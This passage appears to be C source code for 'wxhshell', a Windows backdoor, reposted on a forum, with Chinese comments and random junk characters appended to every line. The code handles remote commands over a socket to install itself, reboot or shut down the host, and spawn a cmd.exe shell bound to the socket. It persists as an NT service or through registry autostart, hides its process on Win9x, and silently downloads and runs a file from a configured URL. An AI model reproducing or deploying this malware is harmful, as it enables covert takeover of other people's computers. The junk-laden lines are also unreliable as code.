  case '?': { F653[[eQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N#pl mPrZ  
    break; P xP?hk  
  } rx}ujjx  
  // 安装 /+<%,c$n  
  case 'i': { 8}"f|6Wm  
    if(Install()) fncwe ';?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FfD ,cDs  
    else 7kX7\[zN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2vh!pez_  
    break; JL.yd H79  
    } (:fE _H2z  
  // 卸载 zCGmn& *M  
  case 'r': { 7+D'W7Yx  
    if(Uninstall()) j^aQ>(t(9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D)O6| DiO  
    else  0'V-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p E(<XD3Q  
    break; L6rs9su=7  
    } (. quX@w"m  
  // 显示 wxhshell 所在路径 ,rH)}C<Q+  
  case 'p': { &-8-xw#.  
    char svExeFile[MAX_PATH]; ~P]HG;$?n  
    strcpy(svExeFile,"\n\r"); qa0JQ_?o]  
      strcat(svExeFile,ExeFile); r_g\_y7ua  
        send(wsh,svExeFile,strlen(svExeFile),0); Cb@S </b  
    break; ohc/.5Kl  
    } <PfPh~  
  // 重启 CYFas:rPLT  
  case 'b': { < ;%q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !0. 5  
    if(Boot(REBOOT)) XD+cs.{5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1VjeP *  
    else { CJ}@R.Zy  
    closesocket(wsh); /4"S}P>f  
    ExitThread(0); QN}3S0  
    } +3o)L?:g  
    break; D25gg  
    } {o5K?Pb  
  // 关机 9A} kkMB:  
  case 'd': { j0pvLZjM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RZV1:hNN  
    if(Boot(SHUTDOWN)) k9_VhR|!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;GSFQ:m[  
    else { #a'x)$2;R|  
    closesocket(wsh); 2,XqslB)  
    ExitThread(0); ]:E! i^C`Z  
    } ?CUp&L0-"  
    break; :S+U}Sm[  
    } ?^yh5   
  // 获取shell -YRL>]1  
  case 's': { YW$x:  
    CmdShell(wsh); M;p q2$   
    closesocket(wsh); [BZ(p  
    ExitThread(0); P7>C4rmQ  
    break; .z-^Ga*  
  } 3ciVjH>i  
  // 退出 IjB*myN.  
  case 'x': { Pu%>j'A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Rm=Em}d  
    CloseIt(wsh); @Pb 1QLiz  
    break; d"d)<f   
    } %\{?(baOA  
  // 离开 Eps\iykB  
  case 'q': { (y+5d00  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); li_pM!dWU_  
    closesocket(wsh); [>J~M!yu:r  
    WSACleanup(); {ZsWZJ!  
    exit(1); 8F\Msx  
    break; ?;KJ (@Va  
        } 3Ibt'$dK  
  } _[OEE<(  
  } ZvnZ}t >?  
VrGb;L'[  
  // 提示信息 %`\3V {2*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /"%IhX-  
} Lx:9@3'7'  
  } f\F_?s)_y  
fkv{\zN  
  return; dI0>m:RBz  
} Znl>*e/|  
q=0{E0@9({  
// shell模块句柄 iJaNP%N  
int CmdShell(SOCKET sock) %}]4Nsde  
{ i8[Y{a *  
STARTUPINFO si; CTbhwY(/  
ZeroMemory(&si,sizeof(si)); Tk#&Ux{ZJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1-]x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nhX p_Z9  
PROCESS_INFORMATION ProcessInfo; H'h4@S  
char cmdline[]="cmd"; =3v 1]7 X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UVBw;V  
  return 0; W$MEbf%1  
} iQ}sp64  
U`nS` p  
// 自身启动模式 |e-+xX|;  
int StartFromService(void) SSsQu^A  
{ uuK]<h*  
typedef struct d>"$^${  
{ #2vG_B<M)  
  DWORD ExitStatus; \,bFm,kC?  
  DWORD PebBaseAddress; %:;[M|.  
  DWORD AffinityMask; v^18o$=K",  
  DWORD BasePriority; I'%H:53^0  
  ULONG UniqueProcessId; _:=OHURc  
  ULONG InheritedFromUniqueProcessId; O<d?'{  
}   PROCESS_BASIC_INFORMATION; vb ^!(  
}`/n2  
PROCNTQSIP NtQueryInformationProcess; L+ETMk0  
gZ >orZL'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w4MMo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xEZVsz  
NF)\">Ye  
  HANDLE             hProcess; ^s2-jkK  
  PROCESS_BASIC_INFORMATION pbi; >5vl{{,$K  
er7/BE&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4k2c mM$  
  if(NULL == hInst ) return 0; dj&m  
R6@~   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 79B`w #  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b= ec?n #7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w@$o  
*rFbehfH  
  if (!NtQueryInformationProcess) return 0; )%@WoBRj  
A8Z?[,Mq!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *2C79hi1  
  if(!hProcess) return 0; {f-/,g~  
% m5^p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jc~*#\N  
AXv;r<  
  CloseHandle(hProcess); iGeT^!N  
W!0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bOIM0<(h  
if(hProcess==NULL) return 0; ,Yprk%JT  
Eno2<<  
HMODULE hMod; CU^3L|f2N  
char procName[255]; @C [|'[xQ  
unsigned long cbNeeded; ,~?A. 5  
Q;,3W+(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V?z{UZkR  
hRZS6" #  
  CloseHandle(hProcess); s!fY^3  
M "P  
if(strstr(procName,"services")) return 1; // 以服务启动 RT A=|q  
i|{nj\6w^  
  return 0; // 注册表启动 -/2$P  
} ;)pV[3[  
R$&&kmJ  
// 主模块 '{k Nbx51  
int StartWxhshell(LPSTR lpCmdLine) bY U+-|54  
{ \bQ!> l\  
  SOCKET wsl; $M<4Bqr  
BOOL val=TRUE; 4lf36K ,  
  int port=0; y-q?pqt  
  struct sockaddr_in door; Vd>.fb\U2  
U5$DJ5>8  
  if(wscfg.ws_autoins) Install(); 4_0/]:~5  
^?xJpr%)  
port=atoi(lpCmdLine); GE+csnA2  
=i>F^7)U1  
if(port<=0) port=wscfg.ws_port; EAXU{dRV  
n}'.6  
  WSADATA data; ;/3/R/^g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `'.x*MNF  
`v2l1CQ: ^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `+;oo B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); < LAD  
  door.sin_family = AF_INET; (NN14  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .FRF<_`^  
  door.sin_port = htons(port); J15T!_AW<  
6="&K_Q7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NRF%Qd8I/2  
closesocket(wsl); cP=mJ1  
return 1; 3CPOZZ  
} (jFE{M$-  
Z9~Wlt'?  
  if(listen(wsl,2) == INVALID_SOCKET) { cNc _ n<M  
closesocket(wsl); j|dzd<kE6  
return 1; x%ag.g2I  
} k 0Yixa  
  Wxhshell(wsl); b/Q"j3  
  WSACleanup(); qk1D#1vl  
EZRZ)h  
return 0; i3j jPN!  
e-)1K  
} Vho0f<`E  
vqZM89 xY  
// 以NT服务方式启动 0j MI)aY.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CoXL;\  
{ i>zyn-CuW  
DWORD   status = 0; ;#yz i2f  
  DWORD   specificError = 0xfffffff; &bu`\|V  
FWTl:LqFO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j=>G fo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bA,D]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J"|$V#  
  serviceStatus.dwWin32ExitCode     = 0;  +@7R,8  
  serviceStatus.dwServiceSpecificExitCode = 0; &2pM3re/f  
  serviceStatus.dwCheckPoint       = 0; Kp;o?5H  
  serviceStatus.dwWaitHint       = 0; YU(x!<Z  
OXV@LYP@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TY?io@  
  if (hServiceStatusHandle==0) return; 0k<%l6Bq  
)\G#[Pc7  
status = GetLastError(); iO`f{?b  
  if (status!=NO_ERROR) -;z\BW5 y  
{ T/5U lW|\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )6WU&0>AU8  
    serviceStatus.dwCheckPoint       = 0; 3i~{x[Jc  
    serviceStatus.dwWaitHint       = 0; u\?u}t v  
    serviceStatus.dwWin32ExitCode     = status; <{kj}nxz  
    serviceStatus.dwServiceSpecificExitCode = specificError; j<?4N*S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6V/mR~F1r  
    return; 6fyW6xv[,  
  } HjD= .Q  
rE~O}2a#H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; + P.Ir  
  serviceStatus.dwCheckPoint       = 0; uESHTX/[  
  serviceStatus.dwWaitHint       = 0; 5GP' cE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B4=gMVp1  
} c7_b^7h1  
GvY8O|a  
// 处理NT服务事件,比如:启动、停止 [MG:Ym).2`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p9J(,}  
{ )DMbO"7  
switch(fdwControl) ><HXd+- sd  
{ l|9`22G  
case SERVICE_CONTROL_STOP: V,}cDT>  
  serviceStatus.dwWin32ExitCode = 0; ?jnEHn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V qf}(3K0  
  serviceStatus.dwCheckPoint   = 0; \)hmg  
  serviceStatus.dwWaitHint     = 0; hQO~9mQ+!  
  { RIlPH~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DlP=R  
  } NDi@x"];  
  return; j*nCIxF  
case SERVICE_CONTROL_PAUSE: )`a R?_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p /:L;5F  
  break; (RF6K6~  
case SERVICE_CONTROL_CONTINUE: -.y3:^){^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mz''-1YY$  
  break; 'tc$#f^:  
case SERVICE_CONTROL_INTERROGATE: Z|.. hZG  
  break; gi8kYHldH  
}; hH~Z hB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mtp[]  
} k5 8lmuU  
~![R\gps  
// 标准应用程序主函数 f3O3pIA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6Dch+*4*@  
{ ]yyfE7{q  
v^pE= f*/  
// 获取操作系统版本 CUoMB r  
OsIsNt=GetOsVer(); LY"/ Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GlaWBF#  
)g-*fSa  
  // 从命令行安装 nHhg#wR  
  if(strpbrk(lpCmdLine,"iI")) Install(); = hpX2/]  
){/y-ixH  
  // 下载执行文件 b'G4KNW  
if(wscfg.ws_downexe) { q\ ?6-?Mr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <I} k%q'  
  WinExec(wscfg.ws_filenam,SW_HIDE); FT=w`NE,+  
} b"J(u|Du`  
ms~ mg:  
if(!OsIsNt) { 4Hu.o7  
// 如果时win9x,隐藏进程并且设置为注册表启动 |_-FQ~Hf F  
HideProc(); ,Ti#g8j  
StartWxhshell(lpCmdLine); r"xo9&|  
} _M 7AQ5  
else YoXXelO&  
  if(StartFromService())  B} :[~R'  
  // 以服务方式启动 U,/>p=s  
  StartServiceCtrlDispatcher(DispatchTable); C! :\H<gI  
else RS$e^_W  
  // 普通方式启动 idV4hMF9  
  StartWxhshell(lpCmdLine); n U/v(lN  
|d8/ZD  
return 0; CFVe0!\  
}
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只看该作者 1 发表于: 2006-10-10
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